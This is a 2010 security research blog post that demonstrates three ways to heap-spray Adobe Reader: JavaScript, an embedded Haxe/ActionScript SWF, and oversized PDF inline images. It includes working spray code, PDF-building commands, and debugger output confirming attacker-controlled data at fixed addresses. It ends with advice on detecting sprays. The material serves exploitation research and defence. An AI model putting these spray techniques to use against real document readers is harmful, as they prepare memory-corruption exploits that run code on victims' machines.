Filling Adobe’s heap … February 15, 2010

This post is about how to fill the Adobe Readers Heap. We’ll summarize and put in practice 3 ways of filling Adobe Reader memory. The idea is that when Adobe finnish parsing our PDF we could be pretty sure that at some fixed address there will be controled data. We’re not going to do any fancy feng-shui or heap massage, the idea of this is just to show 3 practical known ways for filling the Reader process memory. Can we fill it?

”’In heap spraying is a technique used in ”’In computer security is a technique used in exploits to facilitate arbitrary code execution . In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’ heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run. ”’

The basic idea is to make the target process allocate BIG chunks of memory forcing the underlying memory allocator to align those at some 0x1000 border. There is ASLR and you can’t predict where a freshly allocated chunk of memory is going to be. But if the amount of asked memory is big enough, when allocated, it will be aligned at some 0x1000 border in most OSs. An allocation size of 0x100000 bytes works in XP and linux2.6.32 (32bits). Probably this will continue to be this way for a long time due to memory usage performance reasons. Think embedded!

Objective: Have some degree of certainty about what’s on a fixed memory address. Needs:

a) Big allocations should be aligned to some 0x1000 byte border.

b) Being able to do a lot of big allocations programatically.

c) Controlling what’s inside our big allocations.

Wikipedia says that there are 3 ways of implementing a heap spray: Javascript, ActionScript, and Images. So we’ll honor those 3:

The JS way

This is the most popular and most used way to play with memory allocations programatically. There are a lot of research and practical examples about this. I personally have started from here. We are targeting PDFs so it has one BIG drawback: you need to have Javascript interpreter on the target process. Interestingly Adobe Reader supports JS heap spraying.

The following JS code will construct a 0x100000 bytes long memory chunk made out of the concatenation of several %%minichunk%%. And then copy 300 times those 0x100000 bytes long chunk to 300 different newly allocated memory.

var slide_size=0x100000; var size = 300; var x = new Array(size); var chunk = %%minichunk%%; while (chunk.length <= slide_size/2) chunk += chunk; for (i=0; i < size; i+=1) { id = ""+i; x[i]= chunk.substring(4,slide_size/2-id.length-20)+id; }

That %%minichunk%% is a place holder that is going to be filled by the python that will generate the PDF file. If we made that %%minichunk%% of exactly 0x1000 bytes of controled data, any 0x1000 aligned byte inside the big chunk will have the first byte of the minichunk. Now as we’ll put 300 times the big chunk we could speculate where the OS will put at least one of those.

Ok let’s try it! we’ll modify a little bit the python from here so it contains the spraying JS. The new python file looks like this.

Let’s create the pdf:

python JSSpray.py >JSSpray.pdf

and try it with Adobe Reader:

acroread JSSpray.pdf

Its running! Now get its PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread 8197 426104K /opt/Adobe/.../bin/acroread JSSpray.pdf

OK 400Megabytes! It seems to be working!

Let’s check out its memory mappings…

cat /proc/8197/maps |head -n16 08048000-0970b000 r-xp 00000000 08:01 1754759 ..bin/acroread 0970b000-09792000 rwxp 016c2000 08:01 1754759 ..bin/acroread 09792000-097a0000 rwxp 00000000 00:00 0 098f9000-0b0bc000 rwxp 00000000 00:00 0 [heap] a0200000-a0221000 rwxp 00000000 00:00 0 a0221000-a0300000 ---p 00000000 00:00 0 a0389000-a038a000 ---p 00000000 00:00 0 a038a000-a0c8a000 rwxp 00000000 00:00 0 a0d8a000-a0e8a000 rwxp 00000000 00:00 0 a0f89000-a0f8a000 ---p 00000000 00:00 0 a0f8a000-a138a000 rwxp 00000000 00:00 0 a13e2000-a188a000 rwxp 00000000 00:00 0 a192a000-a198a000 rwxs 00000000 00:08 2654222 /SYSV0.. (del) a198a000-b3b8a000 rwxp 00000000 00:00 0 b3b8a000-b3d8b000 rwxp 00000000 00:00 0 b3e4e000-b3f4e000 rwxp 00000000 00:00 0 …

a198a000-b3b8a000 is probably the key. Let’s take a look with the debugger…

gdb GNU gdb (Gentoo 7.0 p1) 7.0 Copyright (C) 2009 Free Software Foundation, Inc. (gdb) attach 8197 (gdb) x/8x 0xb0000000+0x1000*0 0xb0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xb0000010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xb0000000+0x1000*1 0xb0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xb0001010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xb0000000+0x1000*2 0xb0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xb0002010: 0x41414141 0x41414141 0x41414141 0x41414141

It worked! We got the same values from memory 0x1000 aligned. We just need to hope some of our 300Megabytes were put in the 0xb0000000 address. The JS spraying PDF version is here.

The ActionScript way

For the actual Actionscript part of this we’ll pick up from here. And for the PDF part we’ll take the SWF into PDF tool from this post.

OK, the the following Haxe code will allocate a configurable number of times some 0x100000 bytes long memory chunks composed from the concatenation of the passed minichunks.

It expects as a parameter the content of the minichunk and the number of times it should replicate the ‘big’ 0x100000 bytes long chunk. For more info about AS sprays check this and that.

class MySpray { static var Memory = new Array(); static var chunk_size = 0x100000; static var chunk_num; static var minichunk; static var t; static function main() { minichunk = flash.Lib.current.loaderInfo.parameters.minichunk; chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N); t = new haxe.Timer(7); t.run = doSpray; } static function doSpray() { var chunk = new flash.utils.ByteArray(); while(chunk.length < chunk_size) { chunk.writeMultiByte(minichunk, 'us-ascii'); } for(i in 0...chunk_num) { Memory.push(chunk); } chunk_num--; if(chunk_num == 0) { t.stop(); } } }

Of course, it needs haxe to compile. And it compiles to Flash 9 issuing this command:

haxe -main MySpray -swf9 MySpray.swf

Once you have the swf file you may insert it into a pdf file using this py from this post.

python SWFSpray.py MySpray.swf "N=300&minichunk=<<<>>>" > SWFSpray.pdf

OK, Let’s run Adobe Reader:

acroread JSSpray.pdf

… get its PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread 8234 568144K /opt/Adobe/.../bin/acroread SWFSpray.pdf

OK 500Megabytes! It seems to be working!

Let’s check out its memory mappings…

cat /proc/8234/maps |head -n16 08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread 0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread 09792000-097a0000 rwxp 00000000 00:00 0 0a712000-0ccda000 rwxp 00000000 00:00 0 [heap] 980f6000-983f6000 rwxp 00000000 00:00 0 983f6000-990f6000 ---p 00000000 00:00 0 990f6000-9a1f6000 rwxp 00000000 00:00 0 9a261000-9a429000 rwxp 00000000 00:00 0 9a5f0000-9b8f0000 rwxp 00000000 00:00 0 9b90a000-9cb0a000 rwxp 00000000 00:00 0 9cbee000-9ddee000 rwxp 00000000 00:00 0 9de9c000-9f09c000 rwxp 00000000 00:00 0 9f114000-a0314000 rwxp 00000000 00:00 0 a0356000-a1456000 rwxp 00000000 00:00 0 a145e000-a245e000 rwxp 00000000 00:00 0 a254e000-a354e000 rwxp 00000000 00:00 0 ...

Let’s see what’s inside 9f114000-a0314000 with the debugger…

gdb GNU gdb (Gentoo 7.0 p1) 7.0 Copyright (C) 2009 Free Software Foundation, Inc. (gdb) attach 8234 (gdb) x/8x 0xa0000000+0x1000*0 0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xa0000000+0x1000*1 0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xa0000000+0x1000*2 0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141

It also worked! It feels a little slow though.

The Image way

As both the PDF specification and the Adobe implementation have been so bloated there are probably a lot of different ways to acomplish this. Our approach is to use as less PDF objects as posible. For this we’ll fill the memory using embeded images. There is a way explained in PDF32000 8.9.7 Inline Images for inlining image data into the page contents.

As an alternative to the image XObjects described in 8.9.5, “Image Dictionaries”, a sampled image may be specified in the form of an inline image. This type of image shall be defined directly within the content stream in which it will be painted instead of being defined as a separate object. Because the inline format gives the reader less flexibility in managing the image data, it shall only be used for small images (4 KB or less).

Basically a PDF inline image goes inside the content stream of a page and has this look:

BI

… Key-value pairs …

ID

… Image data …

EI

where …

BI Begins an inline image object. ID Begins the image data for an inline image object. EI Ends an inline image object.

And here it is an example in the form of a python string…

“BI /W 10 /H 1 /CS /G /BPC 8 ID AAAAAAAAEI”

… which represents a grayscale 10 pixels image of the color represented by “A”. No so big for our purpose but you got the idea. Also the 4k restriction/recomendation pointed out in the documentation is not enforced by Adobe’s implementation, so we can go really big. Also the page contents are PDF streams and could be compacted and filtered with any number of pdf filters, meaning… small PDF file size.

So here you have the py for generating a memory filling PDF using nothing but inline images.

Create the pdf:

python PDFSpray.py >PDFSpray.pdf

Run Adobe Reader:

acroread PDFSpray.pdf

… get it’s PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread 8805 532984K /opt/Adobe/.../bin/acroread PDFSpray.pdf

OK 500Megabytes! It seems to be working!

Let’s check out its memory mappings…

cat /proc/8805/maps |head -n16 08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread 0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread 09792000-097a0000 rwxp 00000000 00:00 0 0985f000-0ba2f000 rwxp 00000000 00:00 0 [heap] 9a35c000-9a35d000 ---p 00000000 00:00 0 9a35d000-9a45d000 rwxp 00000000 00:00 0 9a45d000-9a45e000 ---p 00000000 00:00 0 9a45e000-a745e000 rwxp 00000000 00:00 0 a748c000-ad88c000 rwxp 00000000 00:00 0 adce0000-b40e0000 rwxp 00000000 00:00 0

And in the debugger…

gdb GNU gdb (Gentoo 7.0 p1) 7.0 Copyright (C) 2009 Free Software Foundation, Inc. (gdb) attach 8805 (gdb) x/8x 0xa0000000 0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xa0000000+0x1000*1 0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xa0000000+0x1000*2 0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/8x 0xa0000000+0x1000*3 0xa0003000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141 0xa0003010: 0x41414141 0x41414141 0x41414141 0x41414141

Again we have achieved our goal!

The sizes:

Here you may compare the sizes of the resulting PDF files…

File size JSSpray.pdf 800 PDFSpray.pdf 645050 SWFSpray.pdf 9477

The baseline

To gain perspective here you have the spec of the system where we tried all this…

Base memory consumption of an idle acroread:: 117056k /opt/Adobe/Reader9/Reader/intellinux/bin/acroread PaXtest:: Mode: kiddie Linux localhost 2.6.31-gentoo-r6 #3 SMP Mon Dec 21 08:31:19 ART 2009 i686 Intel(R) Core(TM)2 CPU T5500 @ 1.66GHz GenuineIntel GNU/Linux Executable anonymous mapping : Vulnerable Executable bss : Vulnerable Executable data : Vulnerable Executable heap : Vulnerable Executable stack : Vulnerable Executable anonymous mapping (mprotect) : Vulnerable Executable bss (mprotect) : Vulnerable Executable data (mprotect) : Vulnerable Executable heap (mprotect) : Vulnerable Executable stack (mprotect) : Vulnerable Executable shared library bss (mprotect) : Vulnerable Executable shared library data (mprotect): Vulnerable Writable text segments : Vulnerable Anonymous mapping randomisation test : 9 bits (guessed) Heap randomisation test (ET_EXEC) : 14 bits (guessed) Heap randomisation test (ET_DYN) : 16 bits (guessed) Main executable randomisation (ET_EXEC) : No randomisation Main executable randomisation (ET_DYN) : 8 bits (guessed) Shared library randomisation test : 10 bits (guessed) Stack randomisation test (SEGMEXEC) : 19 bits (guessed) Stack randomisation test (PAGEEXEC) : 19 bits (guessed) Return to function (strcpy) : Vulnerable Return to function (memcpy) : Vulnerable Return to function (strcpy, RANDEXEC) : Vulnerable Return to function (memcpy, RANDEXEC) : Vulnerable Executable shared library bss : Vulnerable Executable shared library data : Vulnerable

Conclusion:

Yes we can fill it!

There probably are and will be 1000000 ways to fill a browser memory, so it may be a good idea to stop trying to detect the source of the spray and instead, try detecting the spray itself. Also bear in mind that the actual spray may not contain code all the time, it may contain just pointers to do some ret2libc oriented programming.

You may grab a test bundle with all the code from here.